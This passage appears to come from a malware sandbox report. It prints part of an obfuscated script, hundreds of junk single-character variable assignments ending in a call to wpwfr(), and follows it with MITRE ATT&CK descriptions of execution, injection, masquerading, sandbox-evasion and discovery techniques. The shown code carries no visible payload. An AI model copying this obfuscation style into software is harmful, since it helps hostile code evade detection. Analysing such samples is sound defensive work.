491	pyqtup = "K";
492	pyqtup = "r";
493	pyqtup = "E";
494	pyqtup = "i";
495	pyqtup = "v";
496	pyqtup = "L";
497	pyqtup = "F";
498	pyqtup = "t";
499	pyqtup = "A";
500	pyqtup = "U";
501	pyqtup = "Z";
502	pyqtup = "k";
503	pyqtup = "n";
504	pyqtup = "Z";
505	pyqtup = "W";
506	pyqtup = "M";
507	pyqtup = "W";
508	pyqtup = "V";
509	pyqtup = "P";
510	pyqtup = "o";
511	pyqtup = "I";
512	pyqtup = "S";
513	pyqtup = "b";
514	pyqtup = "J";
515	pyqtup = "m";
516	pyqtup = "l";
517	pyqtup = "O";
518	pyqtup = "z";
519	pyqtup = "W";
520	pyqtup = "q";
521	pyqtup = "H";
522	pyqtup = "Z";
523	pyqtup = "n";
524	pyqtup = "5";
525	yogefsoto = "G";
526	yogefsoto = "u";
527	yogefsoto = "T";
528	yogefsoto = "q";
529	yogefsoto = "w";
530	yogefsoto = "S";
531	yogefsoto = "i";
532	yogefsoto = "z";
533	yogefsoto = "F";
534	yogefsoto = "E";
535	yogefsoto = "f";
536	eepbwulcq = "P";
537	eepbwulcq = "L";
538	eepbwulcq = "D";
539	eepbwulcq = "n";
540	eepbwulcq = "o";
541	eepbwulcq = "G";
542	eepbwulcq = "A";
543	eepbwulcq = "e";
544	eepbwulcq = "Q";
545	eepbwulcq = "L";
546	eepbwulcq = "n";
547	eepbwulcq = "U";
548	eepbwulcq = "q";
549	eepbwulcq = "Y";
550	eepbwulcq = "O";
551	eepbwulcq = "R";
552	eepbwulcq = "t";
553	eepbwulcq = "a";
554	eepbwulcq = "B";
555	eepbwulcq = "V";
556	eepbwulcq = "E";
557	eepbwulcq = "w";
558	eepbwulcq = "/";
559	kluvipajq = "m";
560	kluvipajq = "G";
561	kluvipajq = "h";
562	kluvipajq = "C";
563	kluvipajq = "V";
564	kluvipajq = "G";
565	kluvipajq = "Q";
566	kluvipajq = "F";
567	kluvipajq = "G";
568	kluvipajq = "g";
569	kluvipajq = "B";
570	kluvipajq = "n";
571	kluvipajq = "y";
572	kluvipajq = "Q";
573	kluvipajq = "q";
574	kluvipajq = "v";
575	kluvipajq = "R";
576	kluvipajq = "d";
577	kluvipajq = "X";
578	kluvipajq = "w";
579	kluvipajq = "h";
580	kluvipajq = "T";
581	kluvipajq = "f";
582	kluvipajq = "L";
583	kluvipajq = "o";
584	csatv = "p";
585	csatv = "o";
586	csatv = "p";
587	csatv = "U";
588	csatv = "j";
589	csatv = "K";
590	csatv = "U";
591	csatv = "g";
592	csatv = "S";
593	csatv = "E";
594	csatv = "m";
595	csatv = "s";
596	csatv = "J";
597	csatv = "c";
598	btybr = "C";
599	btybr = "Q";
600	btybr = "u";
601	btybr = "n";
602	btybr = "x";
603	btybr = "T";
604	btybr = "M";
605	btybr = "U";
606	btybr = "q";
607	btybr = "g";
608	btybr = "f";
609	btybr = "v";
610	btybr = "s";
611	btybr = "C";
612	btybr = "c";
613	btybr = "D";
614	btybr = "m";
615	btybr = "9";
616	izdhzqcsv = "J";
617	izdhzqcsv = "L";
618	izdhzqcsv = "Z";
619	izdhzqcsv = "w";
620	izdhzqcsv = "O";
621	izdhzqcsv = "m";
622	izdhzqcsv = "F";
623	izdhzqcsv = "D";
624	izdhzqcsv = "P";
625	izdhzqcsv = "n";
626	izdhzqcsv = "D";
627	izdhzqcsv = "P";
628	izdhzqcsv = "a";
629	izdhzqcsv = "n";
630	izdhzqcsv = "N";
631	izdhzqcsv = "p";
632	izdhzqcsv = "F";
633	izdhzqcsv = "e";
634	izdhzqcsv = "O";
635	izdhzqcsv = "r";
636	izdhzqcsv = "X";
637	izdhzqcsv = "g";
638	izdhzqcsv = "M";
639	izdhzqcsv = "%";
640	teoifqpa = "T";
641	dlivm = "y";
642	dlivm = "k";
643	dlivm = "e";
644	dlivm = "i";
645	rhtiotyij = "E";
646	rhtiotyij = "A";
647	rhtiotyij = "n";
648	rhtiotyij = "n";
649	rhtiotyij = "j";
650	rhtiotyij = "W";
651	rhtiotyij = "k";
652	rhtiotyij = "Y";
653	rhtiotyij = "K";
654	rhtiotyij = "S";
655	rhtiotyij = "w";
656	rhtiotyij = "Z";
657	rhtiotyij = "A";
658	rhtiotyij = "o";
659	rhtiotyij = "w";
660	rhtiotyij = "r";
661	rhtiotyij = "Z";
662	rhtiotyij = "W";
663	rhtiotyij = "V";
664	rhtiotyij = "P";
665	rhtiotyij = "a";
666	rhtiotyij = "L";
667	rhtiotyij = "p";
668	rhtiotyij = "z";
669	rhtiotyij = "U";
670	rhtiotyij = "M";
671	rhtiotyij = "U";
672	rhtiotyij = "J";
673	rhtiotyij = "e";
674	rhtiotyij = "o";
675	rhtiotyij = "a";
676	rhtiotyij = "n";
677	rhtiotyij = "v";
678	rhtiotyij = "j";
679	rhtiotyij = "L";
680	dkddd = "f";
681	dkddd = "M";
682	dkddd = "F";
683	dkddd = "h";
684	dkddd = "T";
685	dkddd = "R";
686	dkddd = "X";
687	dkddd = "f";
688	dkddd = "Y";
689	dkddd = "P";
690	dkddd = "o";
691	dkddd = "h";
692	dkddd = "F";
693	dkddd = "G";
694	dkddd = "O";
695	dkddd = "W";
696	dkddd = "B";
697	dkddd = "c";
698	dkddd = "H";
699	dkddd = "X";
700	dkddd = "y";
701	dkddd = "R";
702	dkddd = "R";
703	ozpszcras = "l";
704	ozpszcras = "t";
705	ozpszcras = "n";
706	ozpszcras = "y";
707	ozpszcras = "L";
708	ozpszcras = "z";
709	ozpszcras = "a";
710	ozpszcras = "g";
711	ozpszcras = "c";
712	ozpszcras = "f";
713	ozpszcras = "V";
714	ozpszcras = "u";
715	ozpszcras = "v";
716	ozpszcras = "j";
717	ozpszcras = "o";
718	ozpszcras = "O";
719	ozpszcras = "i";
720	ozpszcras = "s";
721	ozpszcras = "B";
722	ozpszcras = "O";
723	ozpszcras = "l";
724	ozpszcras = "R";
725	ozpszcras = "g";
726	ozpszcras = "r";
727	ozpszcras = "q";
728	ozpszcras = "m";
729	ozpszcras = "y";
730	ozpszcras = "K";
731	ozpszcras = "H";
732	ozpszcras = "W";
733	ozpszcras = "y";
734	ozpszcras = "u";
735	ozpszcras = "s";
736	ozpszcras = "Y";
737	ozpszcras = "r";
738	ozpszcras = "L";
739	ozpszcras = "I";
740	ozpszcras = "E";
741	ozpszcras = "O";
742	ozpszcras = "z";
743	ozpszcras = "1";
744	jdzlnjia = "l";
745	jdzlnjia = "P";
746	jdzlnjia = "W";
747	jdzlnjia = "p";
748	jdzlnjia = "a";
749	jdzlnjia = "z";
750	jdzlnjia = "R";
751	jdzlnjia = "U";
752	jdzlnjia = "d";
753	jdzlnjia = "h";
754	jdzlnjia = "J";
755	jdzlnjia = "D";
756	jdzlnjia = "R";
757	jdzlnjia = "V";
758	jdzlnjia = "u";
759	jdzlnjia = "J";
760	jdzlnjia = "q";
761	jdzlnjia = "r";
762	jdzlnjia = "x";
763	jdzlnjia = "K";
764	jdzlnjia = "U";
765	jdzlnjia = "y";
766	jdzlnjia = "p";
767	jdzlnjia = "B";
768	jdzlnjia = "H";
769	jdzlnjia = "x";
770	jdzlnjia = "u";
771	jdzlnjia = "U";
772	jdzlnjia = "g";
773	jdzlnjia = "v";
774	jdzlnjia = "u";
775	jdzlnjia = "F";
776	jdzlnjia = "n";
777	jdzlnjia = "m";
778	jdzlnjia = "K";
779	hawrp = "T";
780	hawrp = "A";
781	hawrp = "i";
782	hawrp = "R";
783	hawrp = "D";
784	hawrp = "N";
785	hawrp = "S";
786	rvnqldcl = "C";
787	rvnqldcl = "P";
788	rvnqldcl = "h";
789	rvnqldcl = "e";
790	rvnqldcl = "V";
791	rvnqldcl = "s";
792	rvnqldcl = "R";
793	rvnqldcl = "H";
794	rvnqldcl = "X";
795	rvnqldcl = "h";
796	rvnqldcl = "c";
797	rvnqldcl = "I";
798	rvnqldcl = "o";
799	rvnqldcl = "f";
800	rvnqldcl = "r";
801	rvnqldcl = "X";
802	rvnqldcl = "I";
803	rvnqldcl = "e";
804	rvnqldcl = "E";
805	rvnqldcl = "V";
806	rvnqldcl = "b";
807	rvnqldcl = "m";
808	rvnqldcl = "J";
809	rvnqldcl = "r";
810	rvnqldcl = "A";
811	rvnqldcl = "V";
812	rvnqldcl = "A";
813	rvnqldcl = "R";
814	rvnqldcl = "j";
815	rvnqldcl = "k";
816	rvnqldcl = "k";
817	rvnqldcl = "N";
818	hfvknqb = "X";
819	hfvknqb = "n";
820	hfvknqb = "w";
821	hfvknqb = "l";
822	hfvknqb = "A";
823	hfvknqb = "J";
824	hfvknqb = "M";
825	hfvknqb = "T";
826	hfvknqb = "U";
827	hfvknqb = "a";
828	hfvknqb = "F";
829	hfvknqb = "i";
830	hfvknqb = "g";
831	hfvknqb = "j";
832	hfvknqb = "q";
833	hfvknqb = "P";
834	hfvknqb = "Q";
835	hfvknqb = "y";
836	hfvknqb = "m";
837	hfvknqb = "q";
838	hfvknqb = "A";
839	hfvknqb = "t";
840	hfvknqb = "i";
841	hfvknqb = "t";
842	hfvknqb = "l";
843	hfvknqb = "w";
844	hfvknqb = "m";
845	hfvknqb = "t";
846	hfvknqb = "j";
847	hfvknqb = "u";
848	hfvknqb = "r";
849	hfvknqb = "Y";
850	hfvknqb = "s";
851	hfvknqb = "a";
852	hfvknqb = "u";
853	hfvknqb = "V";
854	hfvknqb = "u";
855	qqwcvjiv = "r";
856	qqwcvjiv = "a";
857	qqwcvjiv = "C";
858	qqwcvjiv = "F";
859	qqwcvjiv = "Z";
860	qqwcvjiv = "N";
861	qqwcvjiv = "v";
862	dfpker = "U";
863	znopi = "D";
864	znopi = "C";
865	znopi = "j";
866	znopi = "t";
867	znopi = "N";
868	znopi = "l";
869	znopi = "J";
870	znopi = "m";
871	znopi = "h";
872	znopi = "N";
873	znopi = "x";
874	znopi = "H";
875	znopi = "n";
876	znopi = "x";
877	znopi = "n";
878	znopi = "K";
879	znopi = "u";
880	znopi = "o";
881	znopi = "R";
882	znopi = "t";
883	znopi = "a";
884	znopi = "G";
885	znopi = "s";
886	znopi = "R";
887	znopi = "f";
888	znopi = "y";
889	znopi = "p";
890	znopi = "s";
891	znopi = "2";
892	blnrlts = "E";
893	blnrlts = "k";
894	blnrlts = "v";
895	blnrlts = "e";
896	blnrlts = "F";
897	blnrlts = "K";
898	blnrlts = "W";
899	blnrlts = "k";
900	blnrlts = "t";
901	blnrlts = "W";
902	blnrlts = "y";
903	blnrlts = "j";
904	blnrlts = "o";
905	blnrlts = "y";
906	blnrlts = "Y";
907	blnrlts = "p";
908	blnrlts = "J";
909	blnrlts = "W";
910	blnrlts = "g";
911	blnrlts = "D";
912	blnrlts = "O";
913	blnrlts = "n";
914	blnrlts = "a";
915	blnrlts = "q";
916	blnrlts = "t";
917	xxqynrjh = "s";
918	xxqynrjh = "r";
919	xxqynrjh = "M";
920	xxqynrjh = "v";
921	xxqynrjh = "G";
922	xxqynrjh = "k";
923	xxqynrjh = "a";
924	xxqynrjh = "H";
925	xxqynrjh = "m";
926	xxqynrjh = "A";
927	xxqynrjh = "C";
928	xxqynrjh = "m";
929	xxqynrjh = "B";
930	xxqynrjh = "j";
931	xxqynrjh = "f";
932	xxqynrjh = "c";
933	xxqynrjh = "B";
934	xxqynrjh = "b";
935	xxqynrjh = "O";
936	xxqynrjh = "y";
937	xxqynrjh = "b";
938	xxqynrjh = "V";
939	xxqynrjh = "Z";
940	xxqynrjh = "E";
941	xxqynrjh = "B";
942	xxqynrjh = "Z";
943	xxqynrjh = "v";
944	xxqynrjh = "O";
945	xxqynrjh = "L";
946	xxqynrjh = "m";
947	xxqynrjh = "d";
948	mcavh = "f";
949	mcavh = "&";
950	jfnddvgyn = "A";
951	jfnddvgyn = "b";
952	jfnddvgyn = "d";
953	jfnddvgyn = "e";
954	cacukb = "F";
955	cacukb = "b";
956	cacukb = "c";
957	cacukb = "x";
958	cacukb = "N";
959	cacukb = "H";
960	cacukb = "L";
961	cacukb = "H";
962	cacukb = "g";
963	cacukb = "o";
964	cacukb = "u";
965	cacukb = "w";
966	cacukb = "Z";
967	cacukb = "R";
968	cacukb = "R";
969	cacukb = "K";
970	cacukb = "L";
971	cacukb = "K";
972	cacukb = "u";
973	cacukb = "U";
974	cacukb = "i";
975	cacukb = "a";
976	cacukb = "k";
977	ctyngtghr = "T";
978	ctyngtghr = "q";
979	ctyngtghr = "S";
980	ctyngtghr = "L";
981	ctyngtghr = "o";
982	ctyngtghr = "V";
983	ctyngtghr = "b";
984	ctyngtghr = "V";
985	ctyngtghr = "c";
986	ctyngtghr = "j";
987	ctyngtghr = "I";
988	ctyngtghr = "n";
989	ctyngtghr = "L";
990	ctyngtghr = "B";
991	ctyngtghr = "V";
992	ctyngtghr = "M";
993	ctyngtghr = "R";
994	ctyngtghr = "s";
995	ctyngtghr = "u";
996	ctyngtghr = "v";
997	ctyngtghr = "b";
998	ctyngtghr = "i";
999	ctyngtghr = "U";
1000	ctyngtghr = "c";
1001	ctyngtghr = "b";
1002	qiajxl = "Z";
1003	qiajxl = "B";
1004	qiajxl = "x";
1005	qiajxl = "v";
1006	qiajxl = "w";
1007	qiajxl = "u";
1008	qiajxl = "z";
1009	qiajxl = "i";
1010	qiajxl = "S";
1011	qiajxl = "Q";
1012	qiajxl = "R";
1013	qiajxl = "J";
1014	qiajxl = "H";
1015	qiajxl = "Z";
1016	qiajxl = "C";
1017	qiajxl = "Z";
1018	qiajxl = "q";
1019	qiajxl = "Y";
1020	qiajxl = "a";
1021	qiajxl = "U";
1022	qiajxl = "z";
1023	qiajxl = "O";
1024	qiajxl = "I";
1025	qiajxl = "r";
1026	qiajxl = "Q";
1027	qiajxl = "W";
1028	qiajxl = "i";
1029	qiajxl = "k";
1030	qiajxl = "s";
1031	qiajxl = "l";
1032	qiajxl = "L";
1033	qiajxl = "S";
1034	qiajxl = "m";
1035	gtrjmvelp = "p";
1036	gtrjmvelp = "E";
1037	gtrjmvelp = "O";
1038	kocigy = "c";
1039	kocigy = "N";
1040	kocigy = "h";
1041	kocigy = "s";
1042	kzjwa = "M";
1043	kzjwa = "R";
1044	kzjwa = "I";
1045	kzjwa = "R";
1046	kzjwa = "q";
1047	kzjwa = "p";
1048	kzjwa = "C";
1049	kzjwa = "s";
1050	kzjwa = "M";
1051	kzjwa = "O";
1052	kzjwa = "F";
1053	kzjwa = "U";
1054	kzjwa = "C";
1055	kzjwa = "U";
1056	kzjwa = "B";
1057	kzjwa = "D";
1058	kzjwa = "W";
1059	vfxgz = "A";
1060	vfxgz = "Z";
1061	vfxgz = "i";
1062	vfxgz = "z";
1063	vfxgz = "F";
1064	vfxgz = "J";
1065	vfxgz = "X";
1066	vfxgz = "Y";
1067	qqkmmow = "O";
1068	qqkmmow = "i";
1069	qqkmmow = "l";
1070	qqkmmow = "H";
1071	yxppoakfx = "L";
1072	yxppoakfx = "p";
1073	yxppoakfx = "z";
1074	yxppoakfx = "E";
1075	yxppoakfx = "x";
1076	yxppoakfx = "F";
1077	yxppoakfx = "q";
1078	yxppoakfx = "M";
1079	yxppoakfx = "L";
1080	yxppoakfx = "a";
1081	yxppoakfx = "i";
1082	yxppoakfx = "l";
1083	yxppoakfx = "E";
1084	yxppoakfx = "Y";
1085	yxppoakfx = "D";
1086	yxppoakfx = "m";
1087	yxppoakfx = "J";
1088	yxppoakfx = "c";
1089	yxppoakfx = "w";
1090	rqwyhb = "R";
1091	rqwyhb = "j";
1092	rqwyhb = "A";
1093	rqwyhb = "b";
1094	rqwyhb = "S";
1095	rqwyhb = "h";
1096	rqwyhb = "j";
1097	rqwyhb = "e";
1098	rqwyhb = "y";
1099	rqwyhb = "R";
1100	rqwyhb = "g";
1101	rqwyhb = "m";
1102	rqwyhb = "P";
1103	rqwyhb = "a";
1104	rqwyhb = "v";
1105	rqwyhb = "a";
1106	rqwyhb = "H";
1107	rqwyhb = "n";
1108	rqwyhb = "N";
1109	rqwyhb = "f";
1110	rqwyhb = "O";
1111	rqwyhb = "l";
1112	rqwyhb = "w";
1113	rqwyhb = "Y";
1114	rqwyhb = "M";
1115	rqwyhb = "o";
1116	rqwyhb = "n";
1117	rqwyhb = "I";
1118	rqwyhb = "Q";
1119	rqwyhb = "k";
1120	rqwyhb = "U";
1121	rqwyhb = "d";
1122	rqwyhb = "p";
1123	rqwyhb = "i";
1124	rqwyhb = "E";
1125	rqwyhb = "6";
1126	eeqrxdt = "m";
1127	eeqrxdt = "q";
1128	eeqrxdt = "T";
1129	eeqrxdt = "t";
1130	eeqrxdt = "I";
1131	eeqrxdt = "L";
1132	eeqrxdt = "Z";
1133	eeqrxdt = "r";
1134	eeqrxdt = "d";
1135	eeqrxdt = "g";
1136	eeqrxdt = "e";
1137	eeqrxdt = "y";
1138	eeqrxdt = "U";
1139	eeqrxdt = "t";
1140	eeqrxdt = "l";
1141	eeqrxdt = "Y";
1142	eeqrxdt = "b";
1143	eeqrxdt = "z";
1144	eeqrxdt = "S";
1145	eeqrxdt = "Y";
1146	eeqrxdt = "q";
1147	eeqrxdt = "I";
1148	eeqrxdt = "V";
1149	eeqrxdt = "s";
1150	eeqrxdt = "W";
1151	eeqrxdt = "W";
1152	eeqrxdt = "E";
1153	eeqrxdt = "n";
1154	eeqrxdt = "w";
1155	eeqrxdt = "W";
1156	eeqrxdt = "N";
1157	eeqrxdt = "J";
1158	eeqrxdt = "c";
1159	eeqrxdt = "x";
1160	eeqrxdt = "Q";
1161	eeqrxdt = "M";
1162	eeqrxdt = "J";
1163	eeqrxdt = "C";
1164	eeqrxdt = "N";
1165	eeqrxdt = "n";
1166	eeqrxdt = "H";
1167	eeqrxdt = "J";
1168	eeqrxdt = "I";
1169	eeqrxdt = "\\";
1170	gukqmvs = "s";
1171	gukqmvs = "L";
1172	gukqmvs = "y";
1173	gukqmvs = "I";
1174	gukqmvs = "y";
1175	gukqmvs = "K";
1176	gukqmvs = "c";
1177	gukqmvs = "v";
1178	gukqmvs = "h";
1179	gukqmvs = "u";
1180	gukqmvs = "d";
1181	gukqmvs = "G";
1182	gukqmvs = "Y";
1183	gukqmvs = "Y";
1184	gukqmvs = "H";
1185	gukqmvs = "V";
1186	gukqmvs = "c";
1187	gukqmvs = "b";
1188	gukqmvs = "E";
1189	pybtjfl = "w";
1190	pybtjfl = "D";
1191	pybtjfl = "I";
1192	pybtjfl = "l";
1193	pybtjfl = "Y";
1194	pybtjfl = "H";
1195	pybtjfl = "w";
1196	pybtjfl = "d";
1197	pybtjfl = "U";
1198	pybtjfl = "y";
1199	pybtjfl = "d";
1200	pybtjfl = "y";
1201	pybtjfl = "S";
1202	pybtjfl = "n";
1203	pybtjfl = "i";
1204	pybtjfl = "H";
1205	pybtjfl = "D";
1206	pybtjfl = "z";
1207	pybtjfl = "f";
1208	pybtjfl = "K";
1209	pybtjfl = "g";
1210	pybtjfl = "d";
1211	pybtjfl = "r";
1212	pybtjfl = "q";
1213	pybtjfl = "w";
1214	pybtjfl = "s";
1215	pybtjfl = "v";
1216	pybtjfl = "d";
1217	pybtjfl = "s";
1218	pybtjfl = "j";
1219	pybtjfl = "I";
1220	pybtjfl = "M";
1221	pybtjfl = "w";
1222	pybtjfl = "i";
1223	pybtjfl = "P";
1224	pybtjfl = "u";
1225	pybtjfl = "b";
1226	pybtjfl = "L";
1227	pybtjfl = "d";
1228	pybtjfl = "z";
1229	pybtjfl = "a";
1230	pybtjfl = "B";
1231	pybtjfl = "j";
1232	pybtjfl = "R";
1233	pybtjfl = "x";
1234	sllll = "j";
1235	sllll = "Q";
1236	sllll = "R";
1237	sllll = "k";
1238	sllll = "j";
1239	sllll = "B";
1240	sllll = "l";
1241	sllll = "S";
1242	sllll = "i";
1243	sllll = "y";
1244	sllll = "e";
1245	sllll = "o";
1246	sllll = "T";
1247	sllll = "B";
1248	sllll = ":";
1249	gvjzhv = "B";
1250	gvjzhv = "j";
1251	bfijwurr = "O";
1252	bfijwurr = "j";
1253	bfijwurr = "Z";
1254	bfijwurr = "r";
1255	cwwfayptm = "y";
1256	cwwfayptm = "X";
1257	cwwfayptm = "I";
1258	cwwfayptm = "B";
1259	cwwfayptm = "n";
1260	cwwfayptm = "x";
1261	cwwfayptm = "Q";
1262	cwwfayptm = "o";
1263	cwwfayptm = "a";
1264	cwwfayptm = "H";
1265	cwwfayptm = "L";
1266	cwwfayptm = "M";
1267	cwwfayptm = "F";
1268	cwwfayptm = "k";
1269	cwwfayptm = "j";
1270	cwwfayptm = "X";
1271	cwwfayptm = "j";
1272	cwwfayptm = "W";
1273	cwwfayptm = "T";
1274	cwwfayptm = "k";
1275	cwwfayptm = "F";
1276	egvypunpq = "C";
1277	egvypunpq = "C";
1278	mjsuhn = "N";
1279	mjsuhn = "i";
1280	mjsuhn = "X";
1281	mjsuhn = "G";
1282	mjsuhn = "l";
1283	mjsuhn = "h";
1284	mjsuhn = "O";
1285	mjsuhn = "V";
1286	mjsuhn = "u";
1287	mjsuhn = "a";
1288	mjsuhn = "k";
1289	mjsuhn = "r";
1290	mjsuhn = "Q";
1291	mjsuhn = "m";
1292	mjsuhn = "u";
1293	mjsuhn = "I";
1294	tzmugwb = "H";
1295	tzmugwb = "z";
1296	tzmugwb = "R";
1297	tzmugwb = "r";
1298	tzmugwb = "J";
1299	tzmugwb = "V";
1300	tzmugwb = "x";
1301	tzmugwb = "e";
1302	tzmugwb = "l";
1303	tzmugwb = "x";
1304	tzmugwb = "f";
1305	tzmugwb = "E";
1306	tzmugwb = "e";
1307	tzmugwb = "W";
1308	tzmugwb = "w";
1309	tzmugwb = "P";
1310	tzmugwb = "I";
1311	tzmugwb = "N";
1312	tzmugwb = "C";
1313	tzmugwb = "F";
1314	tzmugwb = "D";
1315	tzmugwb = "E";
1316	tzmugwb = "R";
1317	tzmugwb = "V";
1318	tzmugwb = "A";
1319	tzmugwb = "t";
1320	tzmugwb = "j";
1321	tzmugwb = "L";
1322	tzmugwb = "G";
1323	tzmugwb = "y";
1324	tzmugwb = "f";
1325	tzmugwb = "D";
1326	tzmugwb = "d";
1327	tzmugwb = "E";
1328	tzmugwb = "C";
1329	tzmugwb = "M";
1330	tzmugwb = "c";
1331	tzmugwb = "S";
1332	tzmugwb = "i";
1333	tzmugwb = "h";
1334	tzmugwb = "O";
1335	tzmugwb = "c";
1336	tzmugwb = "_";
1337	gtkkuscm = "S";
1338	gtkkuscm = "O";
1339	gtkkuscm = "A";
1340	gtkkuscm = "f";
1341	gtkkuscm = "Z";
1342	gtkkuscm = "\"";
1343	ujhxdsdii = "z";
1344	ujhxdsdii = "m";
1345	ujhxdsdii = "v";
1346	ujhxdsdii = "E";
1347	ujhxdsdii = "t";
1348	ujhxdsdii = "P";
1349	ujhxdsdii = "f";
1350	ujhxdsdii = "G";
1351	ujhxdsdii = "T";
1352	ujhxdsdii = "z";
1353	ujhxdsdii = "A";
1354	ujhxdsdii = "m";
1355	ujhxdsdii = "r";
1356	ujhxdsdii = "p";
1357	ujhxdsdii = "O";
1358	ujhxdsdii = "D";
1359	ujhxdsdii = "J";
1360	ujhxdsdii = "p";
1361	ujhxdsdii = "a";
1362	ujhxdsdii = "G";
1363	ujhxdsdii = "M";
1364	ujhxdsdii = "y";
1365	ujhxdsdii = "u";
1366	ujhxdsdii = "d";
1367	ujhxdsdii = "P";
1368	ujhxdsdii = "s";
1369	ujhxdsdii = "a";
1370	ujhxdsdii = "H";
1371	ujhxdsdii = "K";
1372	ujhxdsdii = "J";
1373	ujhxdsdii = "P";
1374	ujhxdsdii = "m";
1375	ujhxdsdii = "q";
1376	ujhxdsdii = "C";
1377	ujhxdsdii = "q";
1378	ujhxdsdii = "S";
1379	ujhxdsdii = "C";
1380	ujhxdsdii = "@";
1381	wpwfr ( );	wpwfr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
